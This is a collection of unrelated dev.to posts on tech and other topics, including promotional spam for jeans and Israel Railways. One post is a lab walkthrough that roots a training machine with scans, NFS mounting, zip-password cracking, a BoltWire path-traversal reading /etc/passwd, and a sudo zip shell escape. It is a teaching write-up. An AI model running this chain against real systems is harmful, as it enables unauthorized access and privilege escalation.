Food production is responsible for 26% of global greenhouse gas emissions. You have the power to decide how much CO2 gets produced by the food industry. Choose your food responsibly, save the planet. Foodprint is here to help. Analyse your food consumption habits and identify ways to reduce your CO2 emissions.
## Demo Link
https://foodprint.orth.uk
## Link to Code
{% github https://github.com/ben-xD/foodprint/ %}
## How we built it (what's the stack? did I run into issues or discover something new along the way?)
On a high level, we used React native, NodeJS and Firebase. We even learnt some Java to write some native code for a 'share' functionality, to be able to get a recipe's carbon footprint from a website. We had issues with GraphQL, which involved Apollo-server/ client library bugs and workarounds. It was interesting to see that libraries are not perfect, and are doing the best they can.
More architectural details are available in the [video](https://foodprint.orth.uk/video).
## Additional Thoughts / Feelings / Stories
I learnt a lot from this project, and I have 1 project left before graduation. I will be making the most of it. 🙂 | benxd |
1,890,310 | רכבת ישראל | בואו נשים את זה על השולחן: לרכבת ישראל יש מספר בעיות עיקריות - מחסור בקווים, תקציבים ותחנות. פתרון... | 0 | 2024-06-16T13:46:06 | https://dev.to/ran_49f3097cab9af8a783092/rkbt-yshrl-5dd5 | בואו נשים את זה על השולחן: ל[רכבת ישראל](https://israel-train.co.il/) יש מספר בעיות עיקריות - מחסור בקווים, תקציבים ותחנות. פתרון הבעיה מחייב גישה הוליסטית | ran_49f3097cab9af8a783092 | |
1,890,309 | Evisu Jeans and Shorts: The Pinnacle of Comfort and Style | Evisu, a brand synonymous with quality and style, has captivated fashion enthusiasts worldwide with... | 0 | 2024-06-16T13:45:35 | https://dev.to/work_df097eadc4c2e801f496/evisu-jeans-and-shorts-the-pinnacle-of-comfort-and-style-579f | evisu, evisujeans | [Evisu](https://evisuclothing.com/), a brand synonymous with quality and style, has captivated fashion enthusiasts worldwide with its exceptional jeans and shorts. Known for blending traditional craftsmanship with modern design, Evisu has created a line of clothing that offers unparalleled comfort and aesthetic appeal. This article explores the allure of Evisu jeans and shorts, delving into their history, design, comfort, and cultural impact.
## The Legacy of Evisu: A Journey of Craftsmanship
Founded in 1991 in Osaka, Japan, by Hidehiko Yamane, Evisu quickly rose to prominence in the fashion world. Named after Ebisu, the Japanese god of prosperity, the brand was built on a foundation of traditional denim-making techniques combined with contemporary flair. Evisu’s meticulous approach to craftsmanship has ensured that each piece of clothing is a testament to quality and durability.
Initially famous for its premium denim jeans, Evisu has since expanded its offerings to include a variety of shorts. Both jeans and shorts are crafted with the same attention to detail, ensuring that each garment meets the brand’s high standards.
## Distinctive Design and Aesthetic Appeal
[Evisu shorts](https://evisuclothing.com/shorts/) are celebrated for their distinctive design elements. The brand’s signature hand-painted seagull logo on the back pockets of the jeans is instantly recognizable and adds a unique touch to each pair. This logo, often applied in white or gold, serves as a mark of authenticity and quality.
The design of Evisu jeans ranges from classic straight-leg cuts to modern slim-fit styles, catering to a variety of preferences. The brand also offers a range of washes and finishes, from raw and selvedge denim to distressed and faded looks. Each design reflects Evisu’s commitment to blending traditional techniques with contemporary aesthetics.
Evisu shorts, similarly, showcase a blend of classic and modern elements. Available in various styles, including denim, cargo, and chino shorts, Evisu ensures that there is a perfect pair for every occasion. The shorts often feature bold graphics, intricate embroidery, and the iconic seagull logo, making them stand out in any setting.
## Unmatched Comfort: Materials and Fit
One of the key reasons behind the popularity of Evisu jeans and shorts is their unparalleled comfort. Evisu uses high-quality materials such as Japanese selvedge denim and premium cotton blends. These materials are chosen for their durability and comfort, ensuring that each garment feels as good as it looks.
The construction of [Evisu jeans](https://evisuclothing.com/jeans/) and shorts further enhances their comfort. Reinforced stitching, high-quality zippers, and durable buttons ensure that each piece is built to last. The fit of Evisu jeans is designed to be both flattering and comfortable, with options ranging from relaxed to slim fits. This ensures that every wearer can find a pair that suits their body type and style preferences.
Evisu shorts are designed with comfort in mind, featuring breathable fabrics and relaxed fits. Whether you’re wearing them for a casual day out or a summer adventure, Evisu shorts provide the perfect combination of style and comfort.
## Versatility: From Casual to Stylish
Evisu jeans and shorts are incredibly versatile, making them suitable for a variety of occasions. Jeans can be dressed up with a blazer and loafers for a smart-casual look or paired with a t-shirt and sneakers for a more relaxed outfit. The versatility of Evisu jeans allows them to transition effortlessly from day to night, making them a staple in any wardrobe.
Evisu shorts are equally versatile. Whether you’re heading to the beach, going for a casual stroll, or attending a summer party, Evisu shorts can be styled to fit the occasion. Pair them with a simple tank top for a laid-back look, or dress them up with a button-down shirt for a more polished appearance.
The wide range of colors, patterns, and designs available in Evisu jeans and shorts ensures that there is something for everyone. This versatility makes Evisu clothing a valuable addition to any wardrobe, offering endless possibilities for styling.
## Cultural Influence and Celebrity Endorsement
Evisu’s impact on the fashion world extends beyond its high-quality products. The brand has become a cultural icon, embraced by various subcultures and fashion-forward individuals. Evisu’s unique style and commitment to quality have earned it a loyal following among celebrities and influencers.
High-profile figures such as Kanye West, Jay-Z, and Pharrell Williams have been spotted wearing [Evisu jeans](https://evisujeansus.com/) and shorts, further elevating the brand’s status. These celebrity endorsements have helped to popularize Evisu clothing and reinforce its image as a symbol of luxury and style.
Evisu’s influence can also be seen in the world of hip-hop and streetwear. The brand’s distinctive designs and commitment to craftsmanship have made it a favorite among fashion enthusiasts and trendsetters in these communities.
## Commitment to Sustainability
In today’s fashion industry, sustainability is more important than ever. Evisu has taken significant steps to ensure that its practices are environmentally friendly. The brand emphasizes the use of sustainable materials and traditional production methods that minimize waste and reduce environmental impact.
Evisu’s commitment to sustainability extends to its entire production process. The brand uses eco-friendly dyes and processes that conserve water, aligning with the growing demand for sustainable fashion. By creating durable, long-lasting products, Evisu encourages consumers to invest in pieces that will stand the test of time.
The Investment Value of Evisu Jeans and Shorts
While Evisu jeans and shorts come with a premium price tag, their value extends beyond monetary terms. Investing in a pair of Evisu jeans or shorts means owning a piece of wearable art that combines comfort, style, and durability. The high-quality materials and expert craftsmanship ensure that these garments will last for years, providing excellent value for money in the long run.
The timeless design and cultural significance of Evisu jeans and shorts make them a worthwhile addition to any wardrobe. Whether you’re a denim aficionado or simply looking for stylish and comfortable shorts, Evisu offers products that meet the highest standards of quality and design.
## Conclusion: A Legacy of Comfort and Style
Evisu jeans and shorts have earned their place in the fashion world through a unique blend of traditional craftsmanship, modern design, and exceptional comfort. They represent a perfect balance between heritage and innovation, offering wearers a way to express their individuality while enjoying the luxury of high-quality apparel.
Whether you’re drawn to Evisu for their distinctive aesthetic, unmatched comfort, or cultural relevance, there’s no denying their appeal. As Evisu continues to innovate and inspire, their jeans and shorts will undoubtedly remain beloved items, celebrated for their ability to turn everyday wear into a canvas of personal expression and style.
| work_df097eadc4c2e801f496 |
1,890,306 | Trust my own code | On my game developer adventure. The things I trust most is my own codes, the ET series. PoolManager... | 0 | 2024-06-16T13:34:18 | https://dev.to/tonicatfealidae/trust-my-own-code-393d | On my game developer adventure. The things I trust most is my own codes, the ET series.
PoolManager is sword, that I adapt from other code country. It powerful yet not complete.
ETPoolManager is magic sword, create by my own power. What make it so special??? Well, it has different algorithm, remove the unnecessary model unit, fully integrate with both zenject and native framework, ... But most of all, it builds for me to use.
#unity #unitydev #gamedev, #taniafelidea #tonicatfeldiae #poolmanager
 | tonicatfealidae | |
1,890,373 | Different Method to Change Refresh Rate in Windows 11 PC! | Change Refresh Rate in Windows 11 : The refresh rate on your Windows 11 PC can significantly enhance... | 0 | 2024-07-07T15:25:05 | https://winsides.com/how-to-change-refresh-rate-in-windows-11-pc/ | windows11, beginners, tutorials, tips | ---
title: Different Method to Change Refresh Rate in Windows 11 PC!
published: true
date: 2024-06-16 13:33:23 UTC
tags: Windows11,beginners, tutorials, tips
canonical_url: https://winsides.com/how-to-change-refresh-rate-in-windows-11-pc/
cover_image: https://winsides.com/wp-content/uploads/2024/06/Change-Refresh-Rate-in-Windows-11-3.jpg
---
**Change Refresh Rate in Windows 11** : The refresh rate on your Windows 11 PC can significantly enhance your **visual experience** , providing **smoother motion** and **reducing eye strain**. The refresh rate, measured in **hertz (Hz)**, dictates how often your screen updates per second. Higher refresh rates can be especially beneficial for **gaming, video editing, and other graphics-intensive tasks**. For quite a long time, the most common **(Standard) refresh rate is 60 Hz**, however, modern systems possess different refresh rates like **120 Hz, 144 Hz, 165 Hz, 240 Hz, and 360 Hz** depending on their hardware specification. The availability of different refresh rates depends on your hardware, particularly your monitor and graphics card. In this article, we will check out steps on **How to Change your Windows 11 PC Refresh Rate** using Windows Settings.
- Open Windows Settings using <kbd>Win Key</kbd> + <kbd>I</kbd>.
- Click on **System** , it is available in the left pane of the Windows Settings.

_System Settings_
- Now, click on **Display**. Display Settings will open now.

_Display_
- Under **related Display** Settings, click on **Advanced Display**. This section provides information about the Display and also the option to change the refresh rate.

_Advanced Display_
- Drop down on **Choose a refresh rate**. Choose from the available refresh rate. It is always suggested to go for the highest available refresh rate in the list for the enhanced experience.

_Choose a Refresh Rate_
- That is it, you can now change Refresh Rate in Windows 11 PC as per your needs and convenience. My Laptop is an **Asus G15 Strix Gaming Laptop** , and I have two options to choose from, 60 Hz, and 144 Hz, and I always go with 144 Hz for a better experience.
**Information on the Go!**
Some monitors also support variable refresh rates (VRR) technologies like NVIDIA G-Sync and AMD FreeSync, which dynamically adjust the refresh rate to match the frame rate of the content, reducing screen tearing and stuttering for an even smoother experience.
## What if Choose a Refresh Rate is greyed out in Windows 11?
One possible reason is that your system might grey out the “Choose a Refresh Rate “option because the specification only supports a single refresh rate, typically the standard 60Hz. If you are sure that your Monitor and Graphics card support higher refresh rates and resolution, then you may have to troubleshoot several things like updating drivers, making sure to use the appropriate cable type (HDMI 2.0/2.1 for better compatibility, and more.
## Different types of Refresh Rates, their purposes, and usage

_Refresh Rates_
The Refresh Rate, in general, indicates how often the screen refreshes its image per second. For example, a refresh rate of 60 Hz means the screen updates 60 times per second. The Graphic Card generates Frames and sends them to the Monitor. Each frame is nothing but a **static image** which is the basic principle of Video Recording and Videos, that is why they are called **Motion pictures**. The refresh rate of the monitors must sync with the frame rate (frames per second, or **FPS** ) produced by the graphics card to avoid visual artifacts like **screen tearing, flickering** , etc.
1. The standard refresh rate for most monitors, suitable for everyday tasks like browsing, office work, and watching videos is **60 Hz**.
2. The popular choice for Gaming Computers (as of today) is **144 Hz** which provides smoother visuals, and a more responsive experience in competitive gaming.
3. **165 Hz and 240 Hz** are commonly found in high-end gaming monitors delivering ultra-smooth motion and responsiveness.
4. The latest in high refresh rate technology today is the **360 Hz** , providing the ultimate in smoothness and responsiveness, designed for professional and competitive gamers, Graphic Designers, Video Editors, etc.
> Higher Refresher Rates provides Smoother Motion, Reduced Motion Bluer, and Enhanced Responsiveness.
### Important Consideration:
Higher refresh rates consume more power, which is an important consideration for laptop users. If you’re using your laptop on battery and want to **maximize battery life** , it’s advisable to switch to the standard 60Hz refresh rate. This will help **conserve battery power** , allowing you to use your laptop for longer periods without needing to recharge. | vigneshwaran_vijayakumar |
1,890,305 | PACX ⁓ Create columns: Numeric | Welcome to the 2nd article of the series where we show how to leverage PACX commands to create... | 27,730 | 2024-06-16T13:31:46 | https://dev.to/_neronotte/pacx-create-columns-numeric-4nk5 | Welcome to the 2nd article of the series where we show how to leverage PACX commands to create Dataverse columns.
---
## Numeric columns
Dataverse supports [4 numeric column types](https://learn.microsoft.com/en-us/power-apps/maker/data-platform/types-of-fields):
- Integer
- BigInt
- Decimal
- Float (Double)
The first one does not accepts decimal values at all. The second can accept decimal values, with a predetermined precision (up to 10 decimal points). The third can accept decimal numbers with up to 5 points of precision.
> Decimal numbers are stored in the database exactly as specified. Floating point numbers store an extremely close approximation of the value. Why choose extremely close approximation when you can have the exact value? The answer is that you get different system performance.
>
> From [Using the right type of number](https://learn.microsoft.com/en-us/power-apps/maker/data-platform/types-of-fields#using-the-right-type-of-number)
There is also another numeric column type (Money), but we'll discuss about it in a dedicated post.
At the moment of writing, only **Integer** and **Decimal** columns types are supported by PACX (PACX is an open source community tool, feel free to drop a pull request to add the missing column types if you like!).
### Integer columns
To create an **Integer** column you can type:
```Powershell
pacx column create --type Integer --table my_table --name "People Count"
pacx column create -at Integer -t my_table -n "People Count"
```
Those are the only 3 arguments _required_ to create an **Integer **column
PACX assumes the following conventions:
- **SchemaName** and **LogicalName** are built by
- taking the publisher prefix of the [current default solution](https://dev.to/_neronotte/pacx-working-with-solutions-5fil) (`{prefix}`)
- taking only letters, numbers or underscores from the specified `--name` (`{name}`)
- **RequiredLevel** is set to `None`
- **Description** is left empty
- **IsAuditEnabled** field is set to `true`
- **MinValue** is set to .NET Int32.MinValue
- **MaxValue** is set to .NET Int32.MaxValue
For integer columns, you can also specify one of the following formats, that drive the way the field is shown in Model Driven Apps:
- **None** (default): A basic integer field.
- **Duration**: Specifies to display the integer as a drop down list of durations.
- **TimeZone**: Specifies to display the integer as a drop down list of time zones.
- **Language**: Specifies the display the integer as a drop down list of installed languages.
- **Locale**: Specifies a locale.
You can specify the format to apply using:
```Powershell
pacx column create --type Integer --table my_table --name Duration --intFormat Duration
pacx column create -at Integer -t my_table -n Duration -if Duration
```
You can also override default min and max values using:
```Powershell
pacx column create --type Integer --table my_table --name Percent --min 0 --max 100
pacx column create -at Integer -t my_table -n Percent -min 0 -max 100
```
### Double columns
To create a **Double** column you can type:
```Powershell
pacx column create --type Double --table my_table --name Ratio
pacx column create -at Double -t my_table -n Ratio
```
The same conventions specified for Integer fields apply, with a few minor differences:
- **SchemaName** and **LogicalName** are built by
- taking the publisher prefix of the [current default solution](https://dev.to/_neronotte/pacx-working-with-solutions-5fil) (`{prefix}`)
- taking only letters, numbers or underscores from the specified `--name` (`{name}`)
- **RequiredLevel** is set to `None`
- **Description** is left empty
- **IsAuditEnabled** field is set to `true`
- **MinValue** is set to .NET Int64.MinValue (converted to .NET Decimal)
- **MaxValue** is set to .NET Int64.MaxValue (converted to .NET Decimal)
- **Precision** is set to 2
To specify a different precision you can type:
```Powershell
pacx column create --type Integer --table my_table --name Ratio --precision 5
pacx column create -at Integer -t my_table -n Ratio -p 5
```
To override min and max value, you can use:
```Powershell
pacx column create --type Integer --table my_table --name Ratio --min 10.35 --max 20.99
pacx column create -at Integer -t my_table -n Ratio -min 10.35 -max 100.99
```
As usual, all those arguments can be mixed in a single command execution to build the field as you need. Just type
```Powershell
pacx column create --help
```
To get the list, and a quick help, on all available arguments. | _neronotte | |
1,890,211 | Twilio Challenge: Language Translator via Twilio Functions, WhatsApp, Appwrite & OpenAI | This is a submission for Twilio Challenge v24.06.12 What I Built As an avid translator... | 0 | 2024-06-16T13:28:03 | https://dev.to/adityaoberai/twilio-challenge-language-translator-via-twilio-functions-whatsapp-openai-5hmc | devchallenge, twiliochallenge, ai, twilio | *This is a submission for [Twilio Challenge v24.06.12](https://dev.to/challenges/twilio)*
## What I Built
As an avid translator who often faces challenges with different languages when traveling across different countries. To solve my own problem, I wanted to create a simple chatbot that lets me quickly translate text from my preferred language to another, making it so much easier to communicate with other people.
Therefore, I created an **AI Language Translator** using the `WhatsApp Sandbox` mode in `Twilio Programmable Messaging`, `Twilio Functions`, `Appwrite Database` and `OpenAI's GPT-4o API`.
## Demo
### Watch how it works
Here is a demo video of the app:
{% embed https://www.youtube.com/watch?v=YPARXF9TXyw %}
### Tech Stack
- The chatbot uses **Twilio Programmable Messaging (WhatsApp Sandbox)** and **Twilio Functions** to communicate with the user.
- **Appwrite Database** is primarily used to store the state of the user through the conversation, and all conversation data is deleted as soon as the translation is sent to the user.
- **OpenAI's GPT-4o API** is used to translate the text to the specified language.
### Steps to try
You can try it out by scanning the QR Code in the image or by texting the code `join trail-has` to the number `+14155238886` on WhatsApp.

Once that is done, send the message `Hello Twilio` to begin using the chatbot.
### Source code
You can also view the source code of the Twilio Function on GitHub:
{% embed https://github.com/adityaoberai/language-translator-twilio-function %}
## Twilio and AI
To create this chatbot, I used **OpenAI's GPT-4o API** in a Twilio Function. This function consumes the text to translate, and the target language based on the user's input and returns the translated text.
## Additional Prize Categories
* `Twilio Times Two`: The project uses **Twilio Programmable Messaging (WhatsApp Sandbox)** and **Twilio Functions**.
* `Impactful Innovators`: In a far more interconnected world than ever, a tool that simplifies cross-language communication will help bring people from different cultures closer together.
## Feedback, Updates, and Testimonials
- During the process of developing the Twilio Function, I discovered an issue with the max length of environment variables. The issue has already been acknowledged by the Twilio team.
{% embed https://dev.to/adityaoberai/comment/2fpj3 %}
- The project is getting real-world usage and positive user feedback publicly!
{% embed https://twitter.com/fidelisnwabisi/status/1803512147663868323 %} | adityaoberai |
1,890,298 | What Is Decentralized Finance (DeFi) and How Does It Work? | Hey there, i believe you planning to read this article, which means you have heard about it or you... | 0 | 2024-06-16T13:07:50 | https://dev.to/sardiusjay/what-is-decentralized-finance-defi-and-how-does-it-work-5801 | defi, web3, blockchain, cryptocurrency | Hey there, i believe you planning to read this article, which means you have heard about it or you are into Web 3. Basically, we have been hearing about Web2, and now Web3 is the talk of the town, where you hear about blockchain and cryptocurrency and how people are making a lot of money from them.
But i will be talking about something different but still in the web3 ecosystem, something you may have heard before or are just coming across through this article. And it is **DeFI-Decentralized Finance **
without further ado, let get on it

## What is DeFi-Decentralized Finance?
Decentralized Finance (DeFi) is a blockchain-based form of finance that does not rely on central financial intermediaries such as banks, exchanges, or brokerages. Instead, it utilizes smart contracts on blockchains, the most common being Ethereum.
DeFi platforms allow people to lend or borrow funds from others, speculate on price movements on a range of assets using derivatives, trade cryptocurrencies, insure against risks, and earn interest in savings-like accounts. DeFi aims to democratize finance by replacing traditional, centralized institutions with peer-to-peer relationships that can provide a full spectrum of financial services, from everyday banking, loans, and mortgages, to complicated contractual relationships and asset trading.

## How does DeFi work?
Now that you understand the meaning of DeFi (decentralized finance), it is also very important that you know how it works.
DeFi works by using technologies and protocols such as blockchain, cryptocurrencies, and smart contracts. Here’s a simplified breakdown:
**Blockchain**: DeFi is built on blockchain technology, which provides a decentralized and transparent ledger for all transactions.
Cryptocurrencies: These are used as the medium of exchange on DeFi platforms, replacing traditional fiat currencies.
**Smart Contracts**: These are self-executing contracts with the terms of the agreement directly written into code. They automate and enforce the performance of contracts without intermediaries.
**dApps (Decentralized Applications)**: These are applications built on a blockchain that facilitate financial services like lending, borrowing, or trading.
**Protocols**: These are the rules that define how data is transmitted and shared across the DeFi network, ensuring interoperability between different services and products.
Through dApps, users engage with DeFi platforms by connecting to smart contracts that manage their assets in accordance with protocol guidelines. As a result, financial transactions can now be carried out automatically and without requiring the trust of a counterparty or middleman.

## What is the goal of establishing DeFi in the blockchain ecosystem?
The primary goal of DeFi is to create an open, accessible, and inclusive financial system that operates without the need for centralized authorities. It aims to:
**Democratize finance**: Make financial services universally accessible, allowing anyone with an internet connection to access financial services without traditional gatekeepers.
**Increase transparency**: Offer more transparency in financial transactions and services through the use of blockchain’s public ledger.
Improve security: reduce the risk of fraud and corruption by removing the single point of failure that comes with centralized systems.
**Enhance efficiency**: Streamline financial processes by automating them with smart contracts, reducing the need for intermediaries and lowering costs.

I believe through this you have an understanding of DeFi and how it works, If this help you, you can drop a comment about your thought about DeFi. You can follow me for more articles on blockchain, web3 and DeFi.
Folow me
[X-SardiusJay](https://x.com/SardiusJay)
[Linkedin-Oluwatobi Abidoye](https://www.linkedin.com/in/oluwatobi-abidoye-4826b9224?utm_source=share&utm_campaign=share_via&utm_content=profile&utm_medium=android_app)
| sardiusjay |
1,890,297 | The Transformer Revolution | Unlocking the Power of Transformers: A Beginner's Guide to "Attention is All You... | 0 | 2024-06-16T13:04:46 | https://dev.to/aquibpy/the-transformer-revolution-6dl | machinelearning, generativeai, llm, ai | ## Unlocking the Power of Transformers: A Beginner's Guide to **"Attention is All You Need"**
Ever wondered how Google Translate can magically decipher languages, or how your phone can understand your voice commands with amazing accuracy? The answer lies in a powerful tool called **Transformers**. These deep learning models are revolutionizing the world of natural language processing (NLP), making it possible for machines to understand and generate human language with remarkable proficiency.
### Transformers: A Game-Changer in NLP
Before we dive into the heart of *"Attention is All You Need,*" let's understand what Transformers are all about. Imagine a language model as a detective investigating a crime scene – a sentence. Traditional models like RNNs would analyze the scene sequentially, word by word, like a detective following a trail of clues. But Transformers are different. They take a holistic view, considering the entire scene at once, analyzing the relationships between all the words, like a detective piecing together a puzzle.
This ability to understand the context of each word through its relationship with others is what makes Transformers so powerful. They can handle long sequences of text, identify intricate patterns, and even translate languages with impressive accuracy.
### *"Attention is All You Need*": The Breakthrough Model
Now, *"Attention is All You Need*" isn't just a catchy title; it's the name of a groundbreaking paper that introduced a new architecture for Transformers, completely ditching the traditional recurrent neural networks (RNNs). This architecture, known as the *"Transformer model,"* uses a mechanism called **attention** to understand the relationships between words in a sentence.
**Think of attention as a mechanism that allows the model to *"focus"* on the most relevant parts of a sentence, while ignoring the less important ones.** This selective focus makes the model more efficient and accurate in capturing the meaning of the text.
### How it Works: A Simplified Explanation
Imagine you're trying to understand the sentence *"The cat sat on the mat."* A Transformer with attention will:
1. **Encode each word:** Each word is converted into a numerical representation, a vector, that captures its meaning.
2. **Calculate attention scores:** The model then calculates the *"attention"* score between each pair of words. This score indicates how strongly the words are related to each other.
3. **Focus on relevant words:** Words with high attention scores are *"paid attention to,"* while those with low scores are ignored.
4. **Generate output:** The model uses the attention scores to generate the final output, whether it's a translation, a summary, or a prediction.
### Getting Started with Transformers: Practical Tips
Ready to explore the world of Transformers? Here's how you can get started:
1. **Choose your framework:** Popular libraries like TensorFlow, PyTorch, and Hugging Face provide pre-trained Transformer models for various tasks.
2. **Pick a task:** Start with a simple task like text classification or question answering. There are numerous tutorials and examples available online.
3. **Explore pre-trained models:** Hugging Face offers a vast collection of pre-trained models, making it easy to get started without building your own model from scratch.
4. **Experiment with different hyperparameters:** Fine-tune the model's parameters to achieve the best performance for your specific task.
### The Future of NLP: Transformers Leading the Way
Transformers are a true game-changer in the world of NLP. They are driving innovation in various fields, including:
* **Machine Translation:** Transformers have dramatically improved machine translation, making it more accurate and natural-sounding.
* **Text Summarization:** Transformers can automatically generate concise summaries of long documents, saving time and effort.
* **Chatbots and Conversational AI:** Transformers are making chatbots more intelligent and human-like, enabling more engaging interactions.
* **Sentiment Analysis:** Transformers can analyze the sentiment of text, allowing businesses to understand customer feedback and market trends.
The world of Transformers is vast and exciting, offering endless possibilities. As you learn and explore, you'll discover how these powerful models are transforming our world, one sentence at a time. So, start your journey today, and unlock the power of Transformers! | aquibpy |
1,890,296 | CSS :is() pseudo-class selector. | A post by Lavkush Varma | 0 | 2024-06-16T13:03:32 | https://dev.to/lavkush3844/css-is-pseudo-class-selector-3lnn | webdev, css, html, devops |

 | lavkush3844 |
1,889,921 | EXPLOITING DEV MACHINE | This walkthrough will showcase a creative approach to gaining root access on a machine. We'll utilize... | 0 | 2024-06-16T12:36:12 | https://dev.to/babsarena/exploiting-dev-machine-3e17 | This walkthrough will showcase a creative approach to gaining root access on a machine. We'll utilize an unexpected vulnerability within the zip command to escalate privileges.
After successfully setting up your dev machine, use the following details to login to the machine.
**Username: root
Password: tcm**

Now we need to get the IP address of the academy machine, to get that input the command:
```
dhclient
```
after that input the command:
```
ip a
```

From the above image, my IP address for academy is **192.168.59.135**
Now we can ping the machine to confirm that both machines are alive and communicating.
For that we use the command:
```
ping 192.168.59.135 -c3
```
NB- your IP address would be different from mine so make sure to note your IP address and ping it.

The image above shows both machines can communicate as no packets were lost.
Next we run NMAP scan to search for open ports using the command:
```
nmap -p- -A 192.168.59.135
```

From the above scan a total of 9 ports are open, but for this lab our main targets are port 80,2049 and 8080
One of the first thing we need to do after running our scan is to visit the web page for the IP address.
NB- From our scan we have two http ports open (80 and 8080) i.e we will be visiting two web pages and the two web pages are:
```
192.168.59.135
and
192.168.59.135:8080
```
NB- Inputting 192.168.59.135:80 would give you the same result as 192.168.59.135


After much scanning of the webpages we didn't really find anything there so next we need to search if we can find some hidden web directories using **ffuf. **
To do that we open two new tabs and use the command below to search on both ports webpages:
For port 80:
```
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.59.135/FUZZ
```
For port 8080:
```
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.59.135:8080/FUZZ
```
While the ffuf scan is running, we can open up a new tab and work on port 2049 which is open.

Now the NFS indicated in port 2049 means network file share, so we are curious if anything is on the file share, so we need to check and to check we use the command:
```
showmount -e 192.168.59.135
```

From our search it seems there's a directory called /srv/nfs which might contain a file.
For us to be able to get the files in that directory we need to create a directory in which we would like to save the file and then we then we **mount** the file.
To create a directory, input the command:
```
mkdir /mnt/dev
```
To mount the file, input the command:
```
mount -t nfs 192.168.59.135:/srv/nfs /mnt/dev
```
Now we need to enter the /mnt/dev directory using the command:
```
cd /mnt/dev
```
and input the command:
```
ls
```

You should find only the save.zip file on yours, mine is showing 3 files because I have already unzipped the file.
To unzip the file, we input the command:
```
unzip save.zip
```

It is requesting for a password which we currently do not have.
There's a tool that we can use to try and see if we would be able to crack the password of the zip file, the tool is called **fcrack**
To install the tool on your kali, input the command:
```
apt install fcrackzip
```

I already have it installed but you might not, so after successful installation input the command:
```
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt save.zip
```
NB- **-v** means verbose because we want to see all the outputs
**-u** means we want to unzip the file
**-D** means we want to use a dictionary attack
**-p** is for the file we want to crack which is the save.zip

After running the command we can see we found a password which is **java101**
Now we need to unzip using the password.
Input the command:
```
unzip save.zip
```
input **java101** for the password
Your file would have successfully unzipped and when you input the command **ls ** you should have 3 files as seen below.

There's a txt file and an id_rsa file, first we need to check for what is inside the txt file.
To do that we input the command:
```
cat todo.txt
```

We got a message from **jp**
We don't know who jp is but we suspect him to be a user and we also have an id_rsa file which requires a user's details so we can SSH into it.
So we try the command:
```
ssh -i id_rsa jp@192.168.182.128
```

NB- If it asks you for a fingerprint input **yes**
For the password we do not know what his password is, so now we are back to square one sadly.
For now... let's move back and check our web directory search of ffuf.
So for port 80:

The lines without the # and with a status of 301 were the successful found directory.
So for port 80 six web directories were found, which are:
-public
-src
-app
-vendor
-extensions
-server-status
and for port 8080:

Two were found which are:
-dev
-server-status
So to check for the web directory for 8080 we go to our web browser and input:
```
http://192.168.182.128:8080/dev
```
NB- you might have noticed that my machine IP address might have changed, that's because I switched PC, so feel free to follow along unconfused.

So we are taken to a boltwire page, I can see a register sign on the web page so I ended up registering with the username and password of **hacker**
So feel free to register and use any detail of your choice.

Now I move to the port 80 web directory and input the details found from ffuf.
After much enumeration, the web directory that stood out for me was the:
```
http://192.168.182.128/app
```

Click on the **config/** directory found on the web page

Now click on the **config.yml** file to download the file
After downloading the file, open the file

We found a username of bolt and password **I_love_java**
So I tried SSH using the username and password and it was still unsuccessful

So next I went back to the bolt website which I registered as hacker

and went to google to search for boltwire exploit.
Found the one below and clicked on the webpage



To use this exploit we need to be authenticated, which we are because we already created an account with details of the hacker.
So the next step is to copy the input
```
index.php?p=action.search&action=../../../../../../../etc/passwd
```
and input it into our registered boltwire hacker website.
Our website looked like this

So after copying the details from the exploit page we input it to make it look like this:

So input the command on your webpage:
```
http://192.168.182.128:8080/dev/index.php?p=action.search&action=../../../../../../../etc/passwd
```
NB- remember to change the IP address to your machine's IP address.

Registered users of the machine was displayed and the one which stood out for us was JP

So jp is registered as jeanpaul.
So now we ssh into the id_rsa file using the command:
```
ssh -i id_rsa jeanpaul@192.168.182.128
```
and for the password I tried using the **I_love_java** as the password

IT WAS SUCCESSFUL.
So now I input the command:
```
sudo -l
```
So as to find out what sudo privilege we have

And luckily we found out that we can use the command **zip** as a super user without having to provide a password for it.
The next step now is to find out how we can use the zip command we are given to elevate our privilege and become the root user.
For that we search google and search for **gtfobins**

Click on the webpage found above

Click on sudo from the web page

Scroll down, find zip and click on sudo

It will take you to the page as seen below

copy the following commands and input in the terminal logged in as jeanpaul
```
TF=$(mktemp -u)
```

Now input the command:
```
sudo zip $TF /etc/hosts -T -TT 'sh #'
```

We have successfully popped a shell.
Now input the command:
```
whoami
```
To find out which shell we popped

We have successfully become the root user.
Machine successfully exploited!
In conclusion, this walkthrough has demonstrated the potential danger of seemingly insignificant privileges. By exploiting an overpowered zip command, we were able to escalate access from a low-level user to a super user, highlighting the importance of thorough security assessments and the ever-present risk associated with privilege creep.
| babsarena | |
1,890,295 | Push notifications from server with Telegram Bot API | How to push notifications to Telegram messaging application | 0 | 2024-06-16T12:54:29 | https://dev.to/climentea/push-notifications-from-server-with-telegram-bot-api-32b3 | telegram, python | ---
title: Push notifications from server with Telegram Bot API
published: true
description: How to push notifications to Telegram messaging application
tags: telegram, python
cover_image: https://images.unsplash.com/photo-1636743091340-af4ee8147080?q=80&w=2070&auto=format&fit=crop&ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D
# Use a ratio of 100:42 for best results.
# published_at: 2024-06-16 12:12 +0000
---
I needed a way to keep myself updated with what happens on the server (new user signup, daily stats with visitors, new user send a message to me thru contact form etc.).
You can do that with just email, but you can also do it with the help of Telegram Bot API.
Install telegram on your phone. Once installed, search for `BotFather` - click start and then type `/newbot` (follow the steps there, save safely the private bot token for the api). After the new bot is created search it and start a conversation with it (this will help you get chat_id which we will need later).
After your first conversation with the bot get the `chat_id`:
```shell
curl -X GET 'https://api.telegram.org/botTOKEN:FROM-BOTFATHER/getUpdates'
```
The response will look similar to this:
```json
{
"ok": true,
"result": [
{
"update_id": 123123123123,
"message": {
"message_id": 124,
"from": {
"id": CHAT_ID,
"is_bot": false,
"first_name": "NAME",
"last_name": "NAME",
"language_code": "en"
},
"chat": {
"id": "HERE-IS-CHAT_ID-YOU-NEED",
"first_name": "NAME",
"last_name": "NAME",
"type": "private"
},
"date": 1718539209,
"text": "/start",
"entities": [
{
"offset": 0,
"length": 6,
"type": "bot_command"
}
]
}
}
]
}
```
Take chat_id value from: `HERE-IS-CHAT_ID-YOU-NEED` (see up).
